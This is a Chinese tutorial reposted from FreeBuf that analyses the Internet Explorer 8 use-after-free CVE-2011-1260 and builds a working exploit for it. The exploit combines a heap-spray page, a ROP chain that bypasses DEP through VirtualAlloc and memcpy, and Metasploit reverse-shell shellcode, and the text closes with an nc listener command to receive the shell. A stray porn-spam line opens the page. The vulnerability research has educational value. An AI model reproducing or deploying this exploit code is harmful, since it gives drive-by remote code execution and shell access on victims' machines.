自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

針對網(wǎng)頁木馬(CVE-2011-1260)的分析與實踐

安全 黑客攻防 應(yīng)用安全
很多人了解過pwn2own大賽,很想深入去了解這到底是什么啊,想必很多人都想找一篇從零基礎(chǔ)教學的漏洞分析文章,本例就是一個經(jīng)典的利用IE UAF漏洞進行遠程代碼執(zhí)行的完整過程,用本例來闡述到底什么是網(wǎng)頁木馬以及它的具體原理...

本文假設(shè)你對漏洞挖掘,漏洞分析,匯編這些不太了解,但是對C,C++有一定了解。首先我們找一個具體的公開的例子——CVE-2011-1260,釋放后重用漏洞。首先我們上網(wǎng)找一下這個漏洞的POC,得到如下(運行環(huán)境XP SP3,IE8,開啟DEP(稍后解釋什么是DEP)):

  1. <html> 
  2. <body> 
  3. <script language=;javascript;> 
  4. document.body.innerHTML+="<object hspace=;1000;   width=;1000;>TAG_1</object>"; 
  5. document.body.innerHTML+="<a id=;tag_3; style=;bottom:5000px;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; 
  6. document.body.innerHTML += "AAAAAAA"; 
  7. document.body.innerHTML+="<strong style=;font-size:1000pc;margin:auto -25000px auto auto;; dir=;ltr;>TAG_11</strong>"; 
  8. </script> 
  9. </body> 
  10. </html> 

0×1 漏洞分析

我們雙擊打開,發(fā)現(xiàn)IE崩潰了,到底是什么原因呢?
我們用windbg附加進程(調(diào)試IE最好還是用微軟的調(diào)試器,畢竟微軟主場):附加后,按g,回車,如果限制了activeX控件運行,就按允許,然后windbg在崩潰的時候停止了:

 

從eax+70的地址取出數(shù)據(jù),顯然這個地址不合法,所以導(dǎo)致錯誤。我們按knL回車,從棧查看函數(shù)的調(diào)用情況:

不清楚棧的看這里,清楚的跳過:函數(shù)調(diào)用有很多種,這里指stdcall,在每一次調(diào)用之前,都會將參數(shù)壓棧,從右到左,比如Void A(int a,int b),匯編就類似push,push,call,Call指令會將call指令的下一條指令的地址壓棧,所以最后??雌饋硎沁@樣的:(注意,壓棧是從高往低壓)

[[134065]]

 對應(yīng)源代碼:

 

所以我們從棧中可以看出崩毀之前調(diào)用過什么函數(shù),以及現(xiàn)在在什么函數(shù)里面,函數(shù)返回地址等等很多信息。

 這里我們可以看到是在CElement::Doc函數(shù)里面崩毀,看看附近的匯編指令:

 取ecx地址的內(nèi)容返回給eax,但是eax是0,導(dǎo)致后來的內(nèi)存讀取錯誤,顯然ecx出了問題。一般情況下,在thiscall中,第一個參數(shù)是this指針(用ecx傳遞),而對象+0x0h的地方儲存的是虛函數(shù)表的地址,所以可得這里是取虛函數(shù)表偏移0×70的地方的虛函數(shù)指針,再調(diào)用這個虛函數(shù)。

顯然這里的ecx就是CElement對象,這個對象是IE里面很多元素的父類,如(CObjectElement,對應(yīng)<object>標簽,CImgElement,對應(yīng)<img>標簽等等),而我們從POC中可以看出我們生成了一個<object>標簽,所以我們可以推斷這個是CObjectElement對象,那么這個對象從哪里來的呢?再看進入這個函數(shù)之前的匯編代碼:

 取ebx地址的內(nèi)容給ecx,那么ebx哪里來?我們用ida反匯編這個函數(shù)看看(在mshtml.dll)

 Ebx就是this指針,即ebx指向的地方就是CTreeNode,然后CTreeNode對象+0x0h的地方傳給ecx(即偏移0x0h保存了對應(yīng)的CElement指針),再傳入CElement::Doc。那么CTreeNode和CElement有什么關(guān)系呢?

我們重新運行,然后定如下兩個斷點:

  1. bu  mshtml!CObjectElement::CreateElement+0x18 ".printf \"[%08x]\\n\",eax;g" 

在mshtml!CObjectElement::CreateElement+0×18出斷下,并且打印eax的值,然后繼續(xù)運行。從文字可以看出這個是構(gòu)造CObjectElement的函數(shù),里面會調(diào)用CObjectElement的構(gòu)造函數(shù),eax一般是函數(shù)返回的值,即這個對象的指針。
 

 函數(shù)中分配了一個0xDC的堆,顯然這是這個對象的大小。

  1. bu  mshtml!CTreeNode::CTreeNode+0x8c ".printf \"allocated CTreeNode at %08x, ref to CElement %08x of tbale %08x\\n\", eax, poi(eax), poi(poi(eax));dds poi(eax) L 1;g" 
這個斷點是在CTreeNode+0x8c地方斷下,打印對象指針,對應(yīng)的CElement指針(CTreeNode+0×0處保存對應(yīng)CElement對象),以及對應(yīng)的CElement對象的虛函數(shù)表地址。

定好斷點,GO!

 從圖可以看出,最后創(chuàng)建了一個CObjectElement對象在00201c30,然后立馬又創(chuàng)建了與之對應(yīng)的CTreeNode對象0338aa18,到了程序崩毀的地方,ebx(即CTreeNode對象)還是0338aa18,但是與之對應(yīng)的CObjectElement對象(ecx)卻改變了。

我們看00201c30的地方:

這里已經(jīng)不是CObjectElement的虛函數(shù)表,說明這個對象已經(jīng)被釋放,所以與之對應(yīng)的CTreeNode也在崩潰之前釋放了,所以這里CTreeNode+0×0的CObjectElement指針也是錯誤的,所以指向的地方是00000000,然后讀取虛函數(shù)表出錯。我們定下斷點:

  1. bu  mshtml!CTreeNode::Release+0x19 ".printf \"freeing CTreeNode at %08x, CElement at %08x, of table %08x\\n\", edx, poi(edx), poi(poi(edx)); g" 

這里可以看出,在IE崩潰前,CTreeNode已經(jīng)釋放了,然后崩潰時又引用了這個對象對應(yīng)的CElement對象,然后call虛函數(shù),導(dǎo)致程序出錯。為什么會釋放呢?因為<object>標簽沒指明clsid值,所以IE會釋放這個標簽,那么接下來我們可以干什么呢?#p#

0×2 漏洞利用

我們既然這個CTreeNode已經(jīng)釋放了,那么+0×0對應(yīng)的CElement對象指針所指向的地方我們有無辦法控制呢?我們發(fā)現(xiàn)最后崩潰時候ecx指向的地方很接近之前CObjectElement分配到的地方,而且這個地方已經(jīng)釋放了,我們知道,當一個對象的內(nèi)存空間釋放后,如果我們大量申請內(nèi)存,我們遲早會用到這個之前釋放的內(nèi)存空間,因為本來內(nèi)存就那么多,要循環(huán)利用嘛。如果我們大量申請和CObjectElement相同大小的堆塊,我們會不會把ecx指向的地方覆蓋呢?我們試試:

 

 

果然,ecx指向的地方已經(jīng)被0x0c0c0c0c覆蓋,根據(jù)匯編代碼,之后會call [0x0c0c0c0c+0x70]

然后我們能把0x0c0c0c0c+0×70寫上某個地址,然后eip就會跳到這個地址執(zhí)行我們指定的代碼,進而pwn IE 8。

那我們有什么辦法在0x0c0c0c0c這里寫上我們要寫的數(shù)據(jù)呢?也是老方法,通過大量申請堆塊,我們遲早會把0x0c0c0c0c這里覆蓋成我們的內(nèi)容。

這是如果沒有DEP的話,我們直接用大量的nops+shellcode覆蓋內(nèi)存,然后精確計算在0x0c0c0c0c+0×70的地方填上我們shellcode的地址,我們就能跳去shellcode運行啦。但是這里有DEP。DEP就是如果這塊內(nèi)存沒有執(zhí)行權(quán)限的話,即使EIP跳到這里,它也不能執(zhí)行代碼。而我們通過大量申請堆塊而放置shellcode的地方,系統(tǒng)是不允許在這里運行指令的。這時候,我們可以用ROP繞過DEP。ROP就是在堆棧中壓入若干個小程序的地址,不斷控制EIP運行到這些小程序里,達到某種目的。因為不直接在不可運行的內(nèi)存中運行代碼,所以可以繞過DEP。等下我會具體舉例子。

要繞過DEP,我們可以通過VirtualAlloc+memcpy的方法,前者可以分配一個內(nèi)存屬性為可讀可寫可執(zhí)行的內(nèi)存區(qū)域,然后用memcpy把我們的shellcode復(fù)制過去。然后EIP跳到這個區(qū)域運行shellcode。(shellcode就是我們想要達到某種目的的代碼,比如惡作劇可以是彈出一個對話框,把這些代碼變成匯編的機器碼,然后復(fù)制入內(nèi)存里面,控制EIP跳至這里執(zhí)行。)

首先我們要在0x0c0c0c0c的地方偽造一個棧,

通過MSDN查看我們要用的VirtualAlloc與memcpy函數(shù)的使用方法,最終我們決定利用兩行代碼繞過DEP(XP3下沒有開啟ASLR):

VirtualAlloc(分配的內(nèi)存地址,內(nèi)存大小,內(nèi)存種類,內(nèi)存屬性)

  1. VirtuallAlloc(0x7f002000,0x00004000,0x00003000,0x00000040) 
  2. Memcpy(0x7f003000,0x0c0c0c80,0x00001000) 

然后我們構(gòu)造棧結(jié)構(gòu)如下:

然后我們要想辦法把esp(指向棧頂)指向0x0c0c0c0c,由于我們已經(jīng)控制EIP(0x0c0c0c0c+0×70),所以如果我們在這里寫入0x76a712ff,該處的指令為xchg eax,esp//ret。然后我們EIP指向0x76a712ff,交換eax和esp(eax這時指向0x0c0c0c0c),然后ret(ret指令就是將EIP變成[ESP],然后ESP+4),這時EIP會變成0x7C809AE1。前面我們已經(jīng)說過,剛進入函數(shù)的時候,[ESP]是函數(shù)返回地址,即到最后ret會將EIP變成這個地址,然后下面的是參數(shù),從低到高(從上到下)分別對應(yīng)C語言中的從左到右,即0x7f002000,0×00004000,0×00003000,0×00000040。然后我們看VirtualAlloc返回的時候指令

 

Retn 10的意思是EIP變成[ESP],然后ESP+14,所以運行完retn 10后,我們會跳入0x7c921db3(memcpy),然后[ESP]是函數(shù)返回地址(0x7f001000),然后下面三個是參數(shù),運行完這個函數(shù)后,我們會跳入返回地址0x7f001000運行shellcode。(函數(shù)調(diào)用的具體過程大家可以參考《C++反匯編與逆向分析》的第六章)

然后0x0c0c0c34-0x0c0c0c7c我們放入隨意的數(shù)據(jù),然后0x0c0c0c7c放入0x76a712ff,然后0x0c0c0c80我們放入我們的shellcode。

按理來說,只要我們把上面的數(shù)據(jù)我們組成一個塊(block1),然后申請大量內(nèi)存填入這些塊,最終覆蓋0x0c0c0c0c就可以了。但是又有問題來了,堆塊申請的起始地址是會變的!!!例如,我們堆塊開始可能的地方可能是0x0c0c0000也可能是0x0c0c0010,我們知道,如果這個地址變了,我們最終就無法令我們這個塊一開始的地方準確地對準0x0c0c0c0c,然后我們0x0c0c0c0c+0×70的地方的數(shù)據(jù)就會將EIP指向一個錯誤的地方,然后bomb,IE又崩潰。

如果沒有DEP,我們可以覆蓋大量的NOP(1mb左右)+shellcode(幾百字節(jié)),然后只要0x0c0c0c0c的地方是NOP就可以了(很大幾率hit中nop),但是這里不行,我們要準確的堆噴射。在這里,我陷入了深深的沉思,我確實在這里想了很久的辦法,網(wǎng)上找了資料,大部分說的都是nop+shellcode,沒有準確的堆噴射,即使有,也看得不明白。后來我突然發(fā)現(xiàn),我們塊的起始地址有個共同的特點:

 

0c0a8040是堆塊的起始地址,前8字節(jié)是塊首,真正我們用的是0c0a8048開始,我們在JS里面噴射用過的是string類型,前4字節(jié)是保存string的大小,后2字節(jié)是0000表示字符串解釋,所以我們這里發(fā)現(xiàn),我們字符串起始的位置都是04c結(jié)尾有木有?!! 如果我們創(chuàng)建一個塊大小是0×1000(block2),然后前面0xc0c-0×048=0xbc4字節(jié)放入nop,然后再放入我們上面的block1,然后后面全部放入nop。然后我們的內(nèi)存全部塞滿這樣的塊,我們是不是就保證了全部0xXXXXXc0c地址都對準了我們block1的起始位置?(包括0x0c0c0c0c)(這是我自己想到的方法,不知道大家有無別的好方法?)

接下來,我們就要寫shellcode,這里我們用kail或者BT5的msfpayload生成一個反彈命令行至本地1024端口的JS版shellcode,然后加入我們的exp中。最終我們的exp如下(heapLib.js是一個網(wǎng)上大家用來堆噴射的庫,某個牛人寫的):

  1. <html> 
  2. <body> 
  3. <script src="heapLib.js"></script> 
  4. <script language=;javascript;> 
  5. var heap_obj0 = new heapLib.ie(0x20000); 
  6. var heapspray=;\u9ae1\u7c80\u1db3\u7c92\u2000\u7f00\u4000\u0000\u3000\u0000\u0040\u0000\u3000\u7f00\u3000\u7f00\u0c80\u0c0c\u2fff\u0000;; 
  7. while(heapspray.length<0x38
  8. heapsprayheapspray=heapspray+;\u9090\u9090;; 
  9. heapspray+=;\u12ff\u76a7;; 
  10. heapspray+=unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%u007f%u0100%u0268%u0400%u8900%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff"); 
  11. var nops=unescape(;%u9090%u9090;); 
  12. while(nops.length<0x800
  13. nops+=nops; 
  14. block=nops.substring(0,0xBC0/2)+heapspray+nops.substring(0,0x800-0xBC0/2-heapspray.length); 
  15. while(block.length<0x40000
  16. block+=block; 
  17. final=block.substring(0,(0x20000-6)/2); 
  18. for(var i=0;i<0x1000;i++){ 
  19. heap_obj0.alloc(final,"test1"); 
  20. var obj_overwrite=unescape(;%u0c0c%u0c0c;); 
  21. var obj_size=0xe0
  22. while(obj_overwrite.length < 70){ 
  23. obj_overwrite+=obj_overwrite; 
  24. obj_overwriteobj_overwrite=obj_overwrite.slice(0,(obj_size-6)/2); 
  25. for(var i=0;i<5;i++){ 
  26. document.body.innerHTML+="<object align=;right; hspace=;1000;   width=;1000;>TAG_1</object>"; 
  27. var heap_obj = new heapLib.ie(0x10000); 
  28. for(var j=0;j<5000;j++){ 
  29. heap_obj.alloc(obj_overwrite,"test"); 
  30. document.body.innerHTML += "<a id=;tag_3; style=;bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; 
  31. document.body.innerHTML += "AAAAAAA"; 
  32. document.body.innerHTML += "<strong style=;font-size:1000pc;margin:auto -1000cm auto auto;; dir=;ltr;>TAG_11</strong>"; 
  33. </script> 
  34. </body> 
  35. </html> 

Nc.exe –l –p 1024就是監(jiān)聽1024端口,等待反彈shell。

以上,就是一個經(jīng)典的利用IE UAF漏洞進行遠程代碼執(zhí)行的完整過程,有了遠程代碼執(zhí)行,木馬還會遠嗎?由于本人菜鳥,難免會有錯誤的地方,希望大家一起能共同探討學習。

所以大家知道上XX網(wǎng)的危害了嗎?不要以為沒下載病毒沒事哦,惡意JS都能有exe的功能。

本文出自:http://www.freebuf.com/vuls/66865.html

 

責任編輯:honglu 來源: FreeBuf黑客與極客
相關(guān)推薦

2009-04-26 16:16:03

2014-07-21 10:27:54

2013-07-03 09:48:24

2013-06-19 10:03:42

2014-04-28 12:26:54

2011-05-11 13:05:13

2020-11-12 06:01:52

Linux勒索軟件木馬

2014-10-22 10:49:17

2014-09-25 09:00:57

2012-11-26 09:38:46

2020-07-29 07:00:00

GitHub漏洞密鑰

2015-09-18 10:57:45

Web網(wǎng)頁性

2021-09-14 09:00:08

銀行木馬木馬QakBo

2015-08-27 10:19:04

2010-09-08 15:50:15

2015-12-21 13:44:17

2009-05-13 21:55:03

2022-06-14 09:00:21

漏洞補丁

2010-12-22 12:18:07

金山2011網(wǎng)購木馬

2020-09-03 07:00:00

Salesforce測軟件測試
點贊
收藏

51CTO技術(shù)棧公眾號